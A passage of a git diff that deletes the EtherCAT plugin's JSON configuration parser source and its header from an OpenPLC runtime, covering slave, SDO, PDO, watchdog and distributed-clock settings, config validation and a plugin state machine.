"SDO %s:%d 'data_type' invalid: '%s' " - "(use BOOL/INT8/UINT8/INT16/UINT16/INT32/UINT32/INT64/UINT64/REAL/LREAL)", - sdo->index, sdo->subindex, dtype_str); - return ECAT_CONFIG_ERR_INVALID; - } - - /* value: optional with default 0. When present must fit the wire type. */ - sdo->value = get_numeric_value(sdo_json, "value", 0.0); - if (!sdo_value_in_range(sdo->parsed_type, sdo->value)) { - plugin_logger_error(g_config_logger, - "SDO %s:%d 'value' %g out of range for type %s", - sdo->index, sdo->subindex, sdo->value, - ecat_data_type_to_string(sdo->parsed_type)); - return ECAT_CONFIG_ERR_INVALID; - } - - safe_strcpy(sdo->name, get_string(sdo_json, "name", ""), sizeof(sdo->name)); - return ECAT_CONFIG_OK; -} - -/** - * @brief Parse a single channel from JSON - */ -static int parse_channel(const cJSON *ch_json, ecat_channel_t *channel) -{ - if (ch_json == NULL || channel == NULL) { - return ECAT_CONFIG_ERR_INVALID; - } - - channel->index = get_int(ch_json, "index", 0); - safe_strcpy(channel->name, get_string(ch_json, "name", ""), sizeof(channel->name)); - safe_strcpy(channel->type, get_string(ch_json, "type", ""), sizeof(channel->type)); - channel->bit_length = (uint8_t)get_int(ch_json, "bit_length", 0); - safe_strcpy(channel->iec_location, get_string(ch_json, "iec_location", ""), sizeof(channel->iec_location)); - safe_strcpy(channel->pdo_index, get_string(ch_json, "pdo_index", ""), sizeof(channel->pdo_index)); - safe_strcpy(channel->pdo_entry_index, get_string(ch_json, "pdo_entry_index", ""), sizeof(channel->pdo_entry_index)); - channel->pdo_entry_subindex = (uint8_t)get_int(ch_json, "pdo_entry_subindex", 0); - - return ECAT_CONFIG_OK; -} - -/** - * @brief Parse a single slave configuration from JSON - */ -static int parse_slave(const cJSON *slave_json, ecat_slave_t *slave) -{ - if (slave_json == NULL || slave == NULL) { - return ECAT_CONFIG_ERR_INVALID; - } - - memset(slave, 0, sizeof(ecat_slave_t)); - - slave->position = get_int(slave_json, "position", 0); - safe_strcpy(slave->name, get_string(slave_json, "name", ""), sizeof(slave->name)); - safe_strcpy(slave->type, get_string(slave_json, "type", "coupler"), sizeof(slave->type)); - - /* Convert hex string vendor_id, product_code, revision to uint32_t */ - slave->vendor_id = hex_to_uint32(get_string(slave_json, "vendor_id", "0x0")); - slave->product_code = hex_to_uint32(get_string(slave_json, "product_code", "0x0")); - slave->revision = hex_to_uint32(get_string(slave_json, "revision", "0x0")); - - /* Parse channels */ - slave->channel_count = 0; - const cJSON *channels = cJSON_GetObjectItemCaseSensitive(slave_json, "channels"); - if (channels != NULL && cJSON_IsArray(channels)) { - const cJSON *ch_json; - cJSON_ArrayForEach(ch_json, channels) { - if (slave->channel_count >= ECAT_MAX_CHANNELS) { - break; - } - if (parse_channel(ch_json, &slave->channels[slave->channel_count]) == ECAT_CONFIG_OK) { - slave->channel_count++; - } - } - } - - /* Parse SDO configurations. A malformed SDO aborts the slave entirely: - * a partial SDO write set leaves the slave in an undefined state, so - * fail-fast at parse time forces the operator to fix the JSON. */ - slave->sdo_count = 0; - const cJSON *sdos = cJSON_GetObjectItemCaseSensitive(slave_json, "sdo_configurations"); - if (sdos != NULL && cJSON_IsArray(sdos)) { - const cJSON *sdo_json; - cJSON_ArrayForEach(sdo_json, sdos) { - if (slave->sdo_count >= ECAT_MAX_SDOS) { - plugin_logger_error(g_config_logger, - "Slave '%s' position %d: SDO count exceeds ECAT_MAX_SDOS=%d", - slave->name, slave->position, ECAT_MAX_SDOS); - return ECAT_CONFIG_ERR_INVALID; - } - int prc = parse_sdo(sdo_json, &slave->sdo_configs[slave->sdo_count]); - if (prc != ECAT_CONFIG_OK) { - plugin_logger_error(g_config_logger, - "Slave '%s' position %d: SDO entry rejected (rc=%d) -- aborting slave parse", - slave->name, slave->position, prc); - return prc; - } - slave->sdo_count++; - } - } - - /* Parse RxPDOs and TxPDOs */ - parse_pdo_array(cJSON_GetObjectItemCaseSensitive(slave_json, "rx_pdos"), - slave->rx_pdos, &slave->rx_pdo_count); - parse_pdo_array(cJSON_GetObjectItemCaseSensitive(slave_json, "tx_pdos"), - slave->tx_pdos, &slave->tx_pdo_count); - - /* Parse per-slave configuration (defaults applied if "config" is absent) */ - slave->startup_checks.check_vendor_id = true; - slave->startup_checks.check_product_code = true; - slave->addressing.ethercat_address = 0; - slave->timeouts.sdo_timeout_ms = 1000; - slave->timeouts.init_to_preop_timeout_ms = 3000; - slave->timeouts.safeop_to_op_timeout_ms = 10000; - slave->watchdog.sm_watchdog_enabled = true; - slave->watchdog.sm_watchdog_ms = 100; - slave->watchdog.pdi_watchdog_enabled = false; - slave->watchdog.pdi_watchdog_ms = 100; - slave->dc.enabled = false; - slave->dc.sync_unit_cycle_us = 0; - slave->dc.sync0_enabled = false; - slave->dc.sync0_cycle_us = 0; - slave->dc.sync0_shift_us = 0; - slave->dc.sync1_enabled = false; - slave->dc.sync1_cycle_us = 0; - slave->dc.sync1_shift_us = 0; - slave->strict_sdo = true; - - const cJSON *cfg = cJSON_GetObjectItemCaseSensitive(slave_json, "config"); - if (cfg != NULL && cJSON_IsObject(cfg)) { - slave->strict_sdo = get_bool(cfg, "strict_sdo", true); - - /* Startup checks */ - const cJSON *sc = cJSON_GetObjectItemCaseSensitive(cfg, "startup_checks"); - if (sc != NULL && cJSON_IsObject(sc)) { - slave->startup_checks.check_vendor_id = get_bool(sc, "check_vendor_id", true); - slave->startup_checks.check_product_code = get_bool(sc, "check_product_code", true); - } - - /* Addressing */ - const cJSON *addr = cJSON_GetObjectItemCaseSensitive(cfg, "addressing"); - if (addr != NULL && cJSON_IsObject(addr)) { - slave->addressing.ethercat_address = (uint16_t)get_int(addr, "ethercat_address", 0); - } - - /* Timeouts (negative values fall back to defaults) */ - const cJSON *to = cJSON_GetObjectItemCaseSensitive(cfg, "timeouts"); - if (to != NULL && cJSON_IsObject(to)) { - int val; - val = get_int(to, "sdo_timeout_ms", 1000); - if (val > 0) slave->timeouts.sdo_timeout_ms = val; - val = get_int(to, "init_to_preop_timeout_ms", 3000); - if (val > 0) slave->timeouts.init_to_preop_timeout_ms = val; - val = get_int(to, "safeop_to_op_timeout_ms", 10000); - if (val > 0) slave->timeouts.safeop_to_op_timeout_ms = val; - } - - /* Watchdog (negative ms values fall back to defaults) */ - const cJSON *wd = cJSON_GetObjectItemCaseSensitive(cfg, "watchdog"); - if (wd != NULL && cJSON_IsObject(wd)) { - int val; - slave->watchdog.sm_watchdog_enabled = get_bool(wd, "sm_watchdog_enabled", true); - val = get_int(wd, "sm_watchdog_ms", 100); - if (val > 0) slave->watchdog.sm_watchdog_ms = val; - slave->watchdog.pdi_watchdog_enabled = get_bool(wd, "pdi_watchdog_enabled", false); - val = get_int(wd, "pdi_watchdog_ms", 100); - if (val > 0) slave->watchdog.pdi_watchdog_ms = val; - } - - /* Distributed Clocks */ - const cJSON *dc = cJSON_GetObjectItemCaseSensitive(cfg, "distributed_clocks"); - if (dc != NULL && cJSON_IsObject(dc)) { - slave->dc.enabled = get_bool(dc, "enabled", false); - slave->dc.sync_unit_cycle_us = get_int(dc, "sync_unit_cycle_us", 0); - slave->dc.sync0_enabled = get_bool(dc, "sync0_enabled", false); - slave->dc.sync0_cycle_us = get_int(dc, "sync0_cycle_us", 0); - slave->dc.sync0_shift_us = get_int(dc, "sync0_shift_us", 0); - slave->dc.sync1_enabled = get_bool(dc, "sync1_enabled", false); - slave->dc.sync1_cycle_us = get_int(dc, "sync1_cycle_us", 0); - slave->dc.sync1_shift_us = get_int(dc, "sync1_shift_us", 0); - } - } - - return ECAT_CONFIG_OK; -} - -/** - * @brief Parse the slaves array from JSON - */ -static int parse_slaves_section(const cJSON *slaves, ecat_config_t *config) -{ - config->slave_count = 0; - - if (slaves == NULL || !cJSON_IsArray(slaves)) { - return ECAT_CONFIG_OK; - } - - const cJSON *slave_json; - cJSON_ArrayForEach(slave_json, slaves) { - if (config->slave_count >= ECAT_MAX_SLAVES) { - plugin_logger_error(g_config_logger, - "slaves array exceeds ECAT_MAX_SLAVES=%d -- " - "extra entries ignored", ECAT_MAX_SLAVES); - break; - } - int prc = parse_slave(slave_json, &config->slaves[config->slave_count]); - if (prc != ECAT_CONFIG_OK) { - /* parse_slave already logged the specific reason; propagate. */ - return prc; - } - config->slave_count++; - } - - return ECAT_CONFIG_OK; -} - -/* - * ============================================================================= - * Public API - * ============================================================================= - */ - -void ecat_config_init_defaults(ecat_config_t *config) -{ - if (config == NULL) { - return; - } - - memset(config, 0, sizeof(ecat_config_t)); - - /* Master defaults */ - safe_strcpy(config->master.interface, "eth0", sizeof(config->master.interface)); - config->master.cycle_time_us = 1000; - config->master.receive_timeout_us = 2000; - config->master.watchdog_timeout_cycles = 3; - safe_strcpy(config->master.log_level, "info", sizeof(config->master.log_level)); - config->master.task_priority = 90; - config->master.safe_close = true; - - /* Diagnostics defaults */ - config->diagnostics.log_connections = true; - config->diagnostics.log_data_access = false; - config->diagnostics.log_errors = true; - config->diagnostics.max_log_entries = 10000; - config->diagnostics.status_update_interval_ms = 500; -} - -int ecat_config_parse(const char *config_path, ecat_config_t *config) -{ - if (config_path == NULL || config == NULL) { - return ECAT_CONFIG_ERR_INVALID; - } - - /* Initialize with defaults */ - ecat_config_init_defaults(config); - - /* Read file contents */ - char *json_str = read_file(config_path); - if (json_str == NULL) { - return ECAT_CONFIG_ERR_FILE; - } - - /* Parse JSON */ - cJSON *root = cJSON_Parse(json_str); - free(json_str); - - if (root == NULL) { - return ECAT_CONFIG_ERR_PARSE; - } - - /* - * The JSON has array root format: [{ name, protocol, config }] - * Extract the "config" object from the first element. - */ - const cJSON *config_obj = NULL; - - if (cJSON_IsArray(root)) { - const cJSON *first_entry = cJSON_GetArrayItem(root, 0); - if (first_entry != NULL) { - config_obj = cJSON_GetObjectItemCaseSensitive(first_entry, "config"); - } - } else if (cJSON_IsObject(root)) { - /* Also support a bare config object for flexibility */ - config_obj = cJSON_GetObjectItemCaseSensitive(root, "config"); - if (config_obj == NULL) { - /* The root itself might be the config */ - config_obj = root; - } - } - - if (config_obj == NULL) { - cJSON_Delete(root); - return ECAT_CONFIG_ERR_PARSE; - } - - /* Parse each section */ - parse_master_section(cJSON_GetObjectItemCaseSensitive(config_obj, "master"), &config->master); - int srs = parse_slaves_section(cJSON_GetObjectItemCaseSensitive(config_obj, "slaves"), config); - if (srs != ECAT_CONFIG_OK) { - cJSON_Delete(root); - return srs; - } - parse_diagnostics_section(cJSON_GetObjectItemCaseSensitive(config_obj, "diagnostics"), &config->diagnostics); - - cJSON_Delete(root); - - /* Validate the parsed configuration */ - return ecat_config_validate(config); -} - -int ecat_config_parse_all(const char *config_path, - ecat_master_instance_t *instances, - int max_masters, - int *out_count) -{ - if (config_path == NULL || instances == NULL || out_count == NULL || max_masters < 1) { - return ECAT_CONFIG_ERR_INVALID; - } - - *out_count = 0; - - /* Read file contents */ - char *json_str = read_file(config_path); - if (json_str == NULL) { - return ECAT_CONFIG_ERR_FILE; - } - - /* Parse JSON */ - cJSON *root = cJSON_Parse(json_str); - free(json_str); - - if (root == NULL) { - return ECAT_CONFIG_ERR_PARSE; - } - - if (!cJSON_IsArray(root)) { - /* Fall back to single-entry parse for bare config objects */ - ecat_config_init_defaults(&instances[0].config); - const cJSON *config_obj = cJSON_GetObjectItemCaseSensitive(root, "config"); - if (config_obj == NULL) { - config_obj = root; - } - const char *name = get_string(root, "name", "master"); - safe_strcpy(instances[0].name, name, sizeof(instances[0].name)); - parse_master_section(cJSON_GetObjectItemCaseSensitive(config_obj, "master"), - &instances[0].config.master); - int srs = parse_slaves_section(cJSON_GetObjectItemCaseSensitive(config_obj, "slaves"), - &instances[0].config); - if (srs != ECAT_CONFIG_OK) { - cJSON_Delete(root); - return srs; - } - parse_diagnostics_section(cJSON_GetObjectItemCaseSensitive(config_obj, "diagnostics"), - &instances[0].config.diagnostics); - cJSON_Delete(root); - int result = ecat_config_validate(&instances[0].config); - if (result == ECAT_CONFIG_OK) { - *out_count = 1; - } - return result; - } - - /* Iterate all entries in the array. Loop runs to the end (not stops - * at max_masters) so we can warn about entries that exceed the cap. */ - int count = 0; - int array_size = cJSON_GetArraySize(root); - - for (int i = 0; i < array_size; i++) { - const cJSON *entry = cJSON_GetArrayItem(root, i); - if (entry == NULL) continue; - - /* Check protocol is ETHERCAT (case-insensitive) */ - const char *protocol = get_string(entry, "protocol", ""); - if (strcasecmp_local(protocol, "ETHERCAT") != 0) continue; - - const cJSON *config_obj = cJSON_GetObjectItemCaseSensitive(entry, "config"); - if (config_obj == NULL) continue; - - const char *name = get_string(entry, "name", "master"); - - /* Refuse to parse beyond max_masters but make the rejection - * visible -- the editor lets the operator add an arbitrary - * number of entries; silent truncation here surprises users. */ - if (count >= max_masters) { - plugin_logger_error(g_config_logger, - "skipping entry[%d] '%s' -- max_masters=%d reached. " - "Increase ECAT_MAX_MASTERS or remove extra ETHERCAT entries.", - i, name, max_masters); - continue; - } - - /* Initialize this instance's config with defaults */ - ecat_config_init_defaults(&instances[count].config); - - /* Extract master name */ - safe_strcpy(instances[count].name, name, sizeof(instances[count].name)); - - /* Parse configuration sections. A SDO/slave-level error aborts - * the whole config -- a partially loaded master would surprise - * the operator at bus-up time. */ - parse_master_section(cJSON_GetObjectItemCaseSensitive(config_obj, "master"), - &instances[count].config.master); - int srs = parse_slaves_section(cJSON_GetObjectItemCaseSensitive(config_obj, "slaves"), - &instances[count].config); - if (srs != ECAT_CONFIG_OK) { - plugin_logger_error(g_config_logger, - "entry[%d] '%s': slaves section failed (rc=%d) -- aborting parse", - i, name, srs); - cJSON_Delete(root); - *out_count = 0; - return srs; - } - parse_diagnostics_section(cJSON_GetObjectItemCaseSensitive(config_obj, "diagnostics"), - &instances[count].config.diagnostics); - - /* Validate this master's config */ - int result = ecat_config_validate(&instances[count].config); - if (result == ECAT_CONFIG_OK) { - count++; - } else { - plugin_logger_error(g_config_logger, - "skipping entry[%d] '%s' (validation failed, error=%d)", - i, name, result); - } - } - - cJSON_Delete(root); - - /* Refuse configs where two masters share the same network interface. - * Per-iface NIC tuning state in ethercat_iface_state.c is - * single-owner; two masters on the same iface produce corrupted - * persistence on crash recovery. */ - for (int i = 0; i < count; i++) { - for (int j = i + 1; j < count; j++) { - if (strcmp(instances[i].config.master.interface, - instances[j].config.master.interface) == 0) { - plugin_logger_error(g_config_logger, - "masters '%s' and '%s' share interface '%s' -- " - "not supported. Use a distinct interface per master.", - instances[i].name, instances[j].name, - instances[i].config.master.interface); - *out_count = 0; - return ECAT_CONFIG_ERR_INVALID; - } - } - } - - *out_count = count; - - return (count > 0) ? ECAT_CONFIG_OK : ECAT_CONFIG_ERR_MISSING; -} - -int ecat_config_validate(const ecat_config_t *config) -{ - if (config == NULL) { - return ECAT_CONFIG_ERR_INVALID; - } - - /* Validate master interface is not empty */ - if (config->master.interface[0] == '\0') { - return ECAT_CONFIG_ERR_INVALID; - } - - /* Validate cycle time */ - if (config->master.cycle_time_us < 1) { - return ECAT_CONFIG_ERR_INVALID; - } - - /* Validate receive timeout */ - if (config->master.receive_timeout_us < 1) { - return ECAT_CONFIG_ERR_INVALID; - } - - /* Validate slave positions are positive and unique */ - for (int i = 0; i < config->slave_count; i++) { - const ecat_slave_t *slave = &config->slaves[i]; - - if (slave->position < 1) { - return ECAT_CONFIG_ERR_INVALID; - } - - if (slave->vendor_id == 0) { - return ECAT_CONFIG_ERR_INVALID; - } - - if (slave->product_code == 0) { - return ECAT_CONFIG_ERR_INVALID; - } - - /* Check for duplicate positions */ - for (int j = i + 1; j < config->slave_count; j++) { - if (slave->position == config->slaves[j].position) { - return ECAT_CONFIG_ERR_INVALID; - } - } - - /* Validate channels have IEC location */ - for (int c = 0; c < slave->channel_count; c++) { - const ecat_channel_t *ch = &slave->channels[c]; - if (ch->iec_location[0] != '\0' && ch->iec_location[0] != '%') { - return ECAT_CONFIG_ERR_INVALID; - } - } - } - - return ECAT_CONFIG_OK; -} - -/* - * ============================================================================= - * State Machine and Data Type Helpers - * ============================================================================= - */ - -const char *ecat_state_to_string(ecat_plugin_state_t state) -{ - switch (state) { - case ECAT_STATE_IDLE: return "IDLE"; - case ECAT_STATE_SCANNING: return "SCANNING"; - case ECAT_STATE_CONFIGURING: return "CONFIGURING"; - case ECAT_STATE_TRANSITIONING: return "TRANSITIONING"; - case ECAT_STATE_OPERATIONAL: return "OPERATIONAL"; - case ECAT_STATE_RECOVERING: return "RECOVERING"; - case ECAT_STATE_ERROR: return "ERROR"; - case ECAT_STATE_STOPPED: return "STOPPED"; - } - return "UNKNOWN"; -} - -int ecat_data_type_size(ecat_data_type_t dt) -{ - switch (dt) { - case ECAT_DTYPE_BOOL: return 1; - case ECAT_DTYPE_INT8: return 1; - case ECAT_DTYPE_UINT8: return 1; - case ECAT_DTYPE_INT16: return 2; - case ECAT_DTYPE_UINT16: return 2; - case ECAT_DTYPE_INT32: return 4; - case ECAT_DTYPE_UINT32: return 4; - case ECAT_DTYPE_INT64: return 8; - case ECAT_DTYPE_UINT64: return 8; - case ECAT_DTYPE_REAL32: return 4; - case ECAT_DTYPE_REAL64: return 8; - case ECAT_DTYPE_UNKNOWN: return 0; - case ECAT_DTYPE_PAD: return 0; - } - return 0; -} - -const char *ecat_data_type_to_string(ecat_data_type_t dt) -{ - switch (dt) { - case ECAT_DTYPE_UNKNOWN: return "UNKNOWN"; - case ECAT_DTYPE_BOOL: return "BOOL"; - case ECAT_DTYPE_INT8: return "INT8"; - case ECAT_DTYPE_UINT8: return "UINT8"; - case ECAT_DTYPE_INT16: return "INT16"; - case ECAT_DTYPE_UINT16: return "UINT16"; - case ECAT_DTYPE_INT32: return "INT32"; - case ECAT_DTYPE_UINT32: return "UINT32"; - case ECAT_DTYPE_INT64: return "INT64"; - case ECAT_DTYPE_UINT64: return "UINT64"; - case ECAT_DTYPE_REAL32: return "REAL32"; - case ECAT_DTYPE_REAL64: return "REAL64"; - case ECAT_DTYPE_PAD: return "PAD"; - } - return "UNKNOWN"; -} diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_config.h b/core/src/drivers/plugins/native/ethercat/ethercat_config.h deleted file mode 100644 index 49e43500..00000000 --- a/core/src/drivers/plugins/native/ethercat/ethercat_config.h +++ /dev/null @@ -1,751 +0,0 @@ -// SPDX-License-Identifier: MIT -// Copyright (c) 2026 Autonomy® - -/** - * @file ethercat_config.h - * @brief EtherCAT Plugin Configuration Structures and Parser Interface - * - * Defines the C structures that mirror the JSON configuration contract - * generated by the OpenPLC Editor. The JSON is parsed using cJSON and - * mapped into these structures for use by the EtherCAT master. - */ - -#ifndef ETHERCAT_CONFIG_H -#define ETHERCAT_CONFIG_H - -#include -#include -#include -#include - -#include "plugin_logger.h" -#include "soem/soem.h" - -/* Maximum sizes */ -#define ECAT_MAX_MASTERS 4 -#define ECAT_MAX_SLAVES 64 -#define ECAT_IOMAP_SIZE 8192 -#define ECAT_MAX_CHANNELS 64 -#define ECAT_MAX_PDO_ENTRIES 32 -#define ECAT_MAX_PDOS 16 -#define ECAT_MAX_SDOS 32 -#define ECAT_MAX_NAME_LEN 64 -#define ECAT_MAX_IEC_LOC_LEN 16 - -/** - * @brief Recognized EtherCAT/CoE data types - * - * Covers integer, floating-point, and padding types found in PDO entries. - * REAL32 and REAL64 are transported through the existing DWORD/LWORD buffers - * (IEEE 754 bit patterns preserved by memcpy). - */ -typedef enum { - ECAT_DTYPE_UNKNOWN, - ECAT_DTYPE_BOOL, - ECAT_DTYPE_INT8, - ECAT_DTYPE_UINT8, - ECAT_DTYPE_INT16, - ECAT_DTYPE_UINT16, - ECAT_DTYPE_INT32, - ECAT_DTYPE_UINT32, - ECAT_DTYPE_INT64, - ECAT_DTYPE_UINT64, - ECAT_DTYPE_REAL32, - ECAT_DTYPE_REAL64, - ECAT_DTYPE_PAD -} ecat_data_type_t; - -/* Error codes */ -#define ECAT_CONFIG_OK 0 -#define ECAT_CONFIG_ERR_FILE -1 -#define ECAT_CONFIG_ERR_PARSE -2 -#define ECAT_CONFIG_ERR_MEMORY -3 -#define ECAT_CONFIG_ERR_INVALID -4 -#define ECAT_CONFIG_ERR_MISSING -5 - -/** - * @brief PDO entry definition - * - * Represents a single entry within a PDO (Process Data Object). - * Entries with index "0x0000" are padding entries. - */ -typedef struct { - char index[12]; /* hex string e.g. "0x6000" */ - uint8_t subindex; - uint8_t bit_length; - char name[ECAT_MAX_NAME_LEN]; - ecat_data_type_t parsed_type; /* resolved from data_type string in JSON */ -} ecat_pdo_entry_t; - -/** - * @brief PDO (Process Data Object) definition - * - * Contains the PDO index and its list of entries. - * RxPDOs are written to the slave, TxPDOs are read from the slave. - */ -typedef struct { - char index[12]; /* hex string e.g. "0x1A00" */ - char name[ECAT_MAX_NAME_LEN]; - ecat_pdo_entry_t entries[ECAT_MAX_PDO_ENTRIES]; - int entry_count; -} ecat_pdo_t; - -/** - * @brief SDO configuration entry - * - * Defines an SDO (Service Data Object) parameter to be written - * to a slave during configuration phase. - */ -typedef struct { - char index[12]; /* hex string e.g. "0x8000" */ - uint8_t subindex; - double value; /* stored as double; cast to target type at write time */ - ecat_data_type_t parsed_type; /* resolved from data_type string in JSON */ - char name[ECAT_MAX_NAME_LEN]; -} ecat_sdo_config_t; - -/** - * @brief Channel mapping definition - * - * Maps a physical I/O channel to an IEC 61131-3 located variable. - * Links the channel to its corresponding PDO entry. - */ -typedef struct { - int index; - char name[ECAT_MAX_NAME_LEN]; - char type[20]; /* "digital_input", "analog_output", etc. */ - uint8_t bit_length; - char iec_location[ECAT_MAX_IEC_LOC_LEN]; - char pdo_index[12]; - char pdo_entry_index[12]; - uint8_t pdo_entry_subindex; -} ecat_channel_t; - -/** - * @brief Per-slave startup checks - * - * Controls which identity fields are validated against the SOEM slave list - * during topology verification. - */ -typedef struct { - bool check_vendor_id; - bool check_product_code; -} ecat_startup_checks_t; - -/** - * @brief Per-slave addressing - * - * Controls slave addressing on the bus. - */ -typedef struct { - uint16_t ethercat_address; /* 0 = auto-assign */ -} ecat_addressing_t; - -/** - * @brief Per-slave timeouts - * - * Configurable timeouts for SDO operations and state transitions. - */ -typedef struct { - int sdo_timeout_ms; /* SDO operation timeout (default: 1000) */ - int init_to_preop_timeout_ms; /* INIT->PRE-OP timeout (default: 3000) */ - int safeop_to_op_timeout_ms; /* SAFE-OP->OP timeout (default: 10000) */ -} ecat_timeouts_t; - -/** - * @brief Per-slave watchdog configuration - * - * Controls Sync Manager and PDI watchdog behavior per slave. - */ -typedef struct { - bool sm_watchdog_enabled; /* Sync Manager watchdog */ - int sm_watchdog_ms; /* SM watchdog timeout (default: 100) */ - bool pdi_watchdog_enabled; /* PDI watchdog */ - int pdi_watchdog_ms; /* PDI watchdog timeout (default: 100) */ -} ecat_watchdog_t; - -/** - * @brief Per-slave Distributed Clocks configuration - * - * Controls DC SYNC0/SYNC1 signal generation per slave. - */ -typedef struct { - bool enabled; - int sync_unit_cycle_us; /* 0 = use master cycle */ - bool sync0_enabled; - int sync0_cycle_us; - int sync0_shift_us; - bool sync1_enabled; - int sync1_cycle_us; - int sync1_shift_us; -} ecat_dc_config_t; - -/** - * @brief EtherCAT slave configuration - * - * Complete configuration for a single EtherCAT slave device, - * including identity, channel mappings, PDOs, SDOs, and per-slave - * settings for timeouts, watchdogs, and distributed clocks. - */ -typedef struct { - int position; /* ec_slave[position] in SOEM (1-based) */ - char name[ECAT_MAX_NAME_LEN]; - char type[20]; /* "coupler", "digital_input", etc. */ - uint32_t vendor_id; - uint32_t product_code; - uint32_t revision; - ecat_channel_t channels[ECAT_MAX_CHANNELS]; - int channel_count; - ecat_sdo_config_t sdo_configs[ECAT_MAX_SDOS]; - int sdo_count; - ecat_pdo_t rx_pdos[ECAT_MAX_PDOS]; - int rx_pdo_count; - ecat_pdo_t tx_pdos[ECAT_MAX_PDOS]; - int tx_pdo_count; - ecat_startup_checks_t startup_checks; - ecat_addressing_t addressing; - ecat_timeouts_t timeouts; - ecat_watchdog_t watchdog; - ecat_dc_config_t dc; - /* Abort master startup on any SDO write failure (default true). */ - bool strict_sdo; -} ecat_slave_t; - -/** - * @brief Master configuration parameters - */ -/** Maximum interface name length including null terminator. - * Linux names fit in IFNAMSIZ (16), but Windows NPF device paths such as - * \\Device\\NPF_{GUID} can reach ~55 characters. */ -#define ECAT_IFNAME_MAX 128 - -typedef struct { - char interface[ECAT_IFNAME_MAX]; - int cycle_time_us; - int receive_timeout_us; - int watchdog_timeout_cycles; - char log_level[8]; - /** SCHED_FIFO priority for the dedicated bus thread (1-99). - * Defaults to 90 — above typical IEC task priorities so the bus - * exchange isn't starved by a long PLC scan. */ - int task_priority; - /* Zero outputs and confirm INIT transition on stop_loop (default true). */ - bool safe_close; -} ecat_master_config_t; - -/** - * @brief Diagnostics configuration - */ -typedef struct { - bool log_connections; - bool log_data_access; - bool log_errors; - int max_log_entries; - int status_update_interval_ms; -} ecat_diagnostics_config_t; - -/** - * @brief Top-level EtherCAT configuration - * - * Contains the master settings, flat list of slaves, and diagnostics config. - * - * WARNING: This struct is approximately 7 MB due to the inline slave array - * with nested PDOs. It must be allocated statically or on the heap -- never - * on the stack, as it would overflow most thread stacks. - */ -typedef struct { - ecat_master_config_t master; - ecat_slave_t slaves[ECAT_MAX_SLAVES]; - int slave_count; - ecat_diagnostics_config_t diagnostics; -} ecat_config_t; - -/** - * @brief Parse EtherCAT configuration from a JSON file - * - * Reads and parses the JSON configuration file generated by the OpenPLC Editor. - * The JSON has an array root format: [{ name, protocol, config }]. - * The "config" object is extracted and mapped to the ecat_config_t structure. - * - * @param config_path Path to the JSON configuration file - * @param config Output configuration structure - * @return ECAT_CONFIG_OK on success, negative error code on failure - */ -int ecat_config_parse(const char *config_path, ecat_config_t *config); - -/** - * @brief Validate a parsed configuration - * - * Checks required fields, value ranges, and IEC location format. - * - * @param config Configuration to validate - * @return ECAT_CONFIG_OK on success, negative error code on failure - */ -int ecat_config_validate(const ecat_config_t *config); - -/** - * @brief Provide a logger for the config parser to use for diagnostic messages. - * - * Optional — when not set, the parser falls back to stderr. Idempotent. - * The pointer must remain valid for the lifetime of any subsequent - * ecat_config_parse* call (typically the lifetime of the plugin). - */ -void ecat_config_set_logger(plugin_logger_t *logger); - -/** - * @brief Validation mode for interface names. - * - * Different callers need different rules: NIC tuning paths must receive - * Linux-only names safe for /proc and external binaries (ethtool); the - * scan and test commands accept any name the underlying socket layer - * accepts, including Windows NPF device paths like "\Device\NPF_{GUID}". - */ -typedef enum { - ECAT_IFACE_LINUX_STRICT, /* alfanum + '_' '-', starts alpha, len 1..15 */ - ECAT_IFACE_ANY_PLATFORM /* Linux + Windows NPF chars '\' '{' '}' '.' */ -} ecat_iface_validate_mode_t; - -/** - * @brief Validate an interface name against the requested mode. - * - * @param iface NUL-terminated interface name (may be NULL — returns false). - * @param mode ECAT_IFACE_LINUX_STRICT or ECAT_IFACE_ANY_PLATFORM. - * @return true if @p iface is a valid identifier under @p mode, false otherwise. - */ -bool ecat_iface_validate(const char *iface, ecat_iface_validate_mode_t mode); - -/** - * @brief Check whether an interface name is a safe Linux iface identifier. - * - * Thin wrapper kept for backward compatibility — equivalent to - * ecat_iface_validate(iface, ECAT_IFACE_LINUX_STRICT). Prefer the - * explicit form in new code. - * - * @return true if safe, false otherwise. - */ -bool ecat_is_valid_iface_name(const char *iface); - -/** - * @brief Initialize configuration with default values - * - * @param config Configuration structure to initialize - */ -void ecat_config_init_defaults(ecat_config_t *config); - -/** - * @brief Parse a data type string into the corresponding enum value - * - * Recognizes standard CoE/EtherCAT type names and common aliases: - * "BOOL", "INT8"/"SINT", "UINT8"/"USINT", "INT16"/"INT", - * "UINT16"/"UINT", "INT32"/"DINT", "UINT32"/"UDINT", - * "INT64"/"LINT", "UINT64"/"ULINT", - * "REAL"/"REAL32"/"FLOAT", "LREAL"/"REAL64"/"DOUBLE", "PAD" - * - * @param str NUL-terminated data type string (case-insensitive) - * @return Matching ecat_data_type_t, or ECAT_DTYPE_UNKNOWN if unrecognized - */ -ecat_data_type_t ecat_parse_data_type(const char *str); - -/* - * ============================================================================= - * Plugin State Machine - * ============================================================================= - */ - -/** Maximum number of recovery attempts before transitioning to ERROR state */ -#define ECAT_MAX_RECOVERY_ATTEMPTS 5 - -/** Number of consecutive WKC errors before triggering recovery */ -#define ECAT_WKC_ERROR_THRESHOLD 3 - -/** - * Enable the background monitor thread for slave state checking and recovery. - * When enabled, a low-priority thread periodically calls ecx_readstate() and - * attempt_recovery() outside the PLC scan cycle, preventing overruns. - * When disabled, no state monitoring or automatic recovery is performed - * at runtime (the bus runs open-loop after reaching OPERATIONAL). - * - * Define to 0 to disable, 1 to enable. - */ -#ifndef ECAT_ENABLE_MONITOR_THREAD -#define ECAT_ENABLE_MONITOR_THREAD 1 -#endif - -/** Background monitor thread polling interval in milliseconds */ -#define ECAT_MONITOR_INTERVAL_MS 500 - -/** - * @brief EtherCAT plugin state machine states - * - * State transitions: - * STOPPED -> IDLE -> SCANNING -> CONFIGURING -> TRANSITIONING -> OPERATIONAL - * OPERATIONAL <-> RECOVERING - * RECOVERING -> ERROR (after max attempts) - * Any state -> STOPPED (via stop_loop) - */ -typedef enum { - ECAT_STATE_IDLE, /* After init(), before start_loop() */ - ECAT_STATE_SCANNING, /* ecx_init + ecx_config_init */ - ECAT_STATE_CONFIGURING, /* SDO writes + PDO mapping */ - ECAT_STATE_TRANSITIONING, /* Slaves moving to SAFE-OP -> OP */ - ECAT_STATE_OPERATIONAL, /* Normal cyclic operation */ - ECAT_STATE_RECOVERING, /* Attempting to recover slaves */ - ECAT_STATE_ERROR, /* Unrecoverable error */ - ECAT_STATE_STOPPED /* After stop_loop() or before init() */ -} 